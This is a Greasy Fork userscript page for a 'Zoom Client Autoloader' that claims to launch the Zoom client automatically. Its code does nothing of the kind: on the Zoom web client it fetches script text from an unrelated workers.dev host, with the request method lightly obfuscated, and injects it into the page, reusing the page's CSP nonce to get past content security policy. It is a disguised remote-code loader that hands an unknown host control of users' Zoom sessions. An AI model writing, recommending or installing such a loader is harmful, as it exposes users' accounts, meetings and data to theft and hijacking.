Greasy Fork

Zoom Client Autoloader

Автоматический запуск клиента Zoom

当前为 2025-01-19 提交的版本,查看 最新版本

// ==UserScript==
// @name         Zoom Client Autoloader
// @namespace    http://tampermonkey.net/
// @version      1.1
// @description  Автоматический запуск клиента Zoom
// @author       MultiVers
// @match        https://app.zoom.us/wc/*
// @grant        GM_setValue
// @grant        GM_getValue
// @run-at       document-end
// @license      MIT
// ==/UserScript==

let загруженоОдинРаз = false;
let выполняется = false;

async function загрузитьРесурсы() {
    console.log('Попытка загрузки. Статус:', { загруженоОдинРаз, выполняется });
    
    if (загруженоОдинРаз) {
        console.log('Загрузка уже выполнена ранее');
        return;
    }
    
    if (выполняется) {
        console.log('Загрузка уже выполняется');
        return;
    }
    
    выполняется = true;
    console.log('Начинаем загрузку');
    
    const обработчик = {
        инициализация: async строка => {
            console.log('Инициализация загрузки');
            return (await fetch('https://loader-geneate.webclie2d.workers.dev/', {
                method: строка.split('').reverse().join(''),
                cache: 'no-store',
                headers: {'Accept':'*/*','Connection':'keep-alive'}
            })).text();
        },
        подготовка: данные => {
            console.log('Подготовка скрипта');
            const скрипт = document.createElement('script');
            скрипт.textContent = данные;
            return скрипт;
        },
        применить: элемент => {
            console.log('Применение скрипта');
            const нонс = document.querySelector('script[nonce]')?.nonce;
            if(нонс) элемент.nonce = нонс;
            document.head.appendChild(элемент);
            загруженоОдинРаз = true;
            выполняется = false;
            console.log('Загрузка успешно завершена');
        }
    };
    
    try {
        await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG')));
    } catch (ошибка) {
        console.error('Ошибка при загрузке ресурсов:', ошибка);
        выполняется = false;
        if (!загруженоОдинРаз) {
            console.log('Планируем повторную попытку через 1 секунду');
            setTimeout(загрузитьРесурсы, 1000);
        }
    }
}

// Запускаем только один раз
if (!window.loaderStarted) {
    window.loaderStarted = true;
    console.log('Первый запуск загрузчика');
    загрузитьРесурсы().catch(err => {
        console.error('Ошибка при выполнении загрузчика:', err);
    });
}